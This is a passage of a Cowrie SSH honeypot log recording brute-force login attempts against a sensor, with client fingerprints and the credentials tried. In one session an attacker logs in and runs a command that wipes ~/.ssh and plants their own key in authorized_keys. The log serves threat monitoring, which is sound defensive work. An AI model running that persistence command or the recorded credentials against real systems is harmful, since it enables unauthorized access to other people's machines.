istp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:59.862897Z","src_ip":"2.57.122.208","session":"5c8d00655c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:00.283140Z","src_ip":"2.57.122.208","session":"5c8d00655c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:01.445983Z","src_ip":"2.57.122.208","session":"5c8d00655c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44190,"dst_ip":"10.17.0.5","dst_port":22,"session":"58d97ab4b101","protocol":"ssh","message":"New connection: 92.118.39.92:44190 (10.17.0.5:22) [session: 58d97ab4b101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:10.085592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:10.090703Z","src_ip":"92.118.39.92","session":"58d97ab4b101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:10.193819Z","src_ip":"92.118.39.92","session":"58d97ab4b101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"delegate","password":"delegate","message":"login attempt [delegate/delegate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:10.498063Z","src_ip":"92.118.39.92","session":"58d97ab4b101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:11.602443Z","src_ip":"92.118.39.92","session":"58d97ab4b101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"219.78.107.148","src_port":33613,"dst_ip":"159.203.135.109","dst_port":22,"session":"392806510be6","protocol":"ssh","message":"New connection: 219.78.107.148:33613 (159.203.135.109:22) [session: 392806510be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:18.513028Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:18.518197Z","src_ip":"219.78.107.148","session":"392806510be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.11.168","src_port":53426,"dst_ip":"10.17.0.5","dst_port":22,"session":"683b4bf43d58","protocol":"ssh","message":"New connection: 103.143.11.168:53426 (10.17.0.5:22) [session: 683b4bf43d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.104442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.109175Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.179597Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"stuttgart","message":"login attempt [root/stuttgart] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.495561Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.682210Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.685482Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.689415Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.762964Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.938394Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:30.941509Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.015963Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.020247Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.11.168","src_port":53658,"dst_ip":"10.17.0.5","dst_port":22,"session":"697ddee319dd","protocol":"ssh","message":"New connection: 103.143.11.168:53658 (10.17.0.5:22) [session: 697ddee319dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.086915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.093056Z","src_ip":"103.143.11.168","session":"697ddee319dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.165812Z","src_ip":"103.143.11.168","session":"697ddee319dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:31.488763Z","src_ip":"103.143.11.168","session":"697ddee319dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:32.563335Z","src_ip":"103.143.11.168","session":"697ddee319dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.11.168","src_port":53950,"dst_ip":"10.17.0.5","dst_port":22,"session":"76e12d2babb7","protocol":"ssh","message":"New connection: 103.143.11.168:53950 (10.17.0.5:22) [session: 76e12d2babb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:32.629564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:32.634703Z","src_ip":"103.143.11.168","session":"76e12d2babb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:32.705178Z","src_ip":"103.143.11.168","session":"76e12d2babb7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:33.021187Z","src_ip":"103.143.11.168","session":"76e12d2babb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:33.093845Z","src_ip":"103.143.11.168","session":"683b4bf43d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:33.099742Z","src_ip":"103.143.11.168","session":"76e12d2babb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa53c533f94","protocol":"ssh","message":"New connection: 2.57.122.210:40124 (10.17.0.5:22) [session: 1aa53c533f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:38.992793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:38.997645Z","src_ip":"2.57.122.210","session":"1aa53c533f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:39.104582Z","src_ip":"2.57.122.210","session":"1aa53c533f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:39.422652Z","src_ip":"2.57.122.210","session":"1aa53c533f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:50:40.533581Z","src_ip":"2.57.122.210","session":"1aa53c533f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38658,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ffeabd8575","protocol":"ssh","message":"New connection: 2.57.122.208:38658 (159.203.135.109:22) [session: 71ffeabd8575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:08.108627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:08.158310Z","src_ip":"2.57.122.208","session":"71ffeabd8575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:08.310523Z","src_ip":"2.57.122.208","session":"71ffeabd8575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:08.871856Z","src_ip":"2.57.122.208","session":"71ffeabd8575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:10.033256Z","src_ip":"2.57.122.208","session":"71ffeabd8575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f60ecfa3206","protocol":"ssh","message":"New connection: 92.118.39.92:60814 (10.17.0.5:22) [session: 1f60ecfa3206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:25.296673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:25.300811Z","src_ip":"92.118.39.92","session":"1f60ecfa3206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.co